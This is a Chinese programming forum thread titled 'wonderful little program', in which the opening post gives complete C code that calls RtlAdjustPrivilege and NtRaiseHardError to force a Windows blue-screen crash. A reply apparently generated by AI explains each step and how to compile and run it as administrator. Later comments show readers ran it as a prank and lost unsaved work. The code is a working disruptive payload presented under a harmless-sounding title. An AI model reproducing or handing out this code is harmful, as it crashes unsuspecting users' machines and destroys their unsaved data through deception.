问题标题: 奇妙小程序

1
1
操越然
操越然
修练者
修练者
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
typedef NTSTATUS (NTAPI *pRtlAdjustPrivilege)(
    ULONG Privilege, 
    BOOLEAN Enable, 
    BOOLEAN CurrentThread, 
    PBOOLEAN OldValue
);

typedef NTSTATUS (NTAPI *pNtRaiseHardError)(
    LONG ErrorStatus, 
    ULONG NumberOfParameters, 
    ULONG UnicodeStringParameterMask,
    PULONG_PTR Parameters, 
    ULONG ValidResponseOptions, 
    PULONG Response
);

int main() {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    if (!hNtdll) {
        printf("Failed to get ntdll.dll handle\n");
        return 1;
    }

    pRtlAdjustPrivilege RtlAdjustPrivilege = (pRtlAdjustPrivilege)GetProcAddress(hNtdll, "RtlAdjustPrivilege");
    pNtRaiseHardError NtRaiseHardError = (pNtRaiseHardError)GetProcAddress(hNtdll, "NtRaiseHardError");

    if (!RtlAdjustPrivilege || !NtRaiseHardError) {
        printf("Failed to get function addresses\n");
        return 1;
    }

    BOOLEAN bl;
    ULONG Response;

    NTSTATUS status = RtlAdjustPrivilege(19, TRUE, FALSE, &bl);
    if (status != 0) {
        printf("RtlAdjustPrivilege failed: 0x%08X\n", status);
        return 1;
    }

    NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, 6, &Response);

    return 0;
}

1
1
罗姝岚
罗姝岚
修练者
修练者

代码功能分解

  1. 获取 ntdll.dll 模块句柄
    GetModuleHandleA("ntdll.dll") 获取当前进程已加载的 ntdll.dll 基址,因为 RtlAdjustPrivilege 和 NtRaiseHardError 都导出自该 DLL。

  2. 动态获取函数地址

    • RtlAdjustPrivilege:用于启用或禁用指定特权。

    • NtRaiseHardError:用于向**发送严重错误,并可选择执行“关闭/重启/蓝屏”等操作。

  3. 启用 SeShutdownPrivilege(特权值 19)
    RtlAdjustPrivilege(19, TRUE, FALSE, &bl) 将 关机特权 授予当前线程。
    该特权是触发**级硬错误(hard error)并执行**关闭所必需的。

    如果未启用此特权,NtRaiseHardError 调用会失败或不会蓝屏。

  4. 调用 NtRaiseHardError 触发蓝屏

    • 参数 STATUS_ASSERTION_FAILURE(0xC0000420)作为错误码。

    • 后续参数为 0、NULL 表示不传递附加消息。

    • ValidResponseOptions = 6 表示 强制**关闭(Shutdown),并且会触发蓝屏(在 Windows 中对应 SHUTDOWN 选项,实际会进入 BugCheck 路径)。

    • Response 用于接收用户响应(此处未使用)。

运行效果

  • 当程序以**员权限执行时,它会立即触发 蓝屏**机(BSOD),错误代码通常为 STATUS_ASSERTION_FAILURE。

  • 如果没有**员权限,RtlAdjustPrivilege 可能失败(返回错误),或者 NtRaiseHardError 被**拦截,不会蓝屏(可能只弹出一个错误对话框)。

重要警告

  • 不要在生产环境或未保存数据的情况下运行,因为会导致**瞬间崩溃,丢失未保存的工作。

  • 该程序需要**员权限(否则特权提升失败)。

  • 在 Windows 10/11 的某些版本中,**可能通过 Kernel-Mode Crash Dump 设置或组策略限制了这种调用,但大多数情况下仍可生效。

如何编译和测试

  • 使用 Visual Studio 或 MinGW 编译该 C 代码(需链接 kernel32 和 ntdll,通常默认已链接)。

  • 以 “以**员身份运行” 启动编译好的 exe。

  • 运行后屏幕会蓝屏并自动重启(或停留在蓝屏界面)。

扩展知识

  • 特权值 19 对应 SE_SHUTDOWN_PRIVILEGE,定义在 winnt.h 中为 SE_SHUTDOWN_PRIVILEGE(但直接数字 19 是硬编码,不推荐,可改为宏)。

  • ValidResponseOptions 的值:

    • 0 – 显示消息框,等待用户响应。

    • 1 – 关闭**(不蓝屏)。

    • 6 – 强制蓝屏并关闭(常用于调试)。

  • 该技巧常被恶意软件用于****,因此安全软件可能会拦截此类行为。

  • AI

1
周奕铭
周奕铭
初级守护
初级守护

建议在酷丁的IDE里运行

0
王一行
王一行
新手光能
新手光能

雀食写完的代码还没保存就关了,我谢谢你

0
0
0
0
高驰宇
高驰宇
新手天翼
新手天翼

:(

你的设备遇到了一些问题,需要重启

0
0
汪思源
汪思源
新手光能
新手光能

又是坑**码?还好窝把评论看完了

0
陆梓骞
陆梓骞
新手守护
新手守护

密码的我的电脑开心坏了

重启了啊!!!!!!!!!!!!!!!

我真的会谢啊!!!!!!!!!!!!

0
杨文轩
杨文轩
高级光能
高级光能

有病吧,我™的打了好久的作文没了

0
杨文轩
杨文轩
高级光能
高级光能

以后能不能别发这种东西了,很好玩吗

0
0
0
我要回答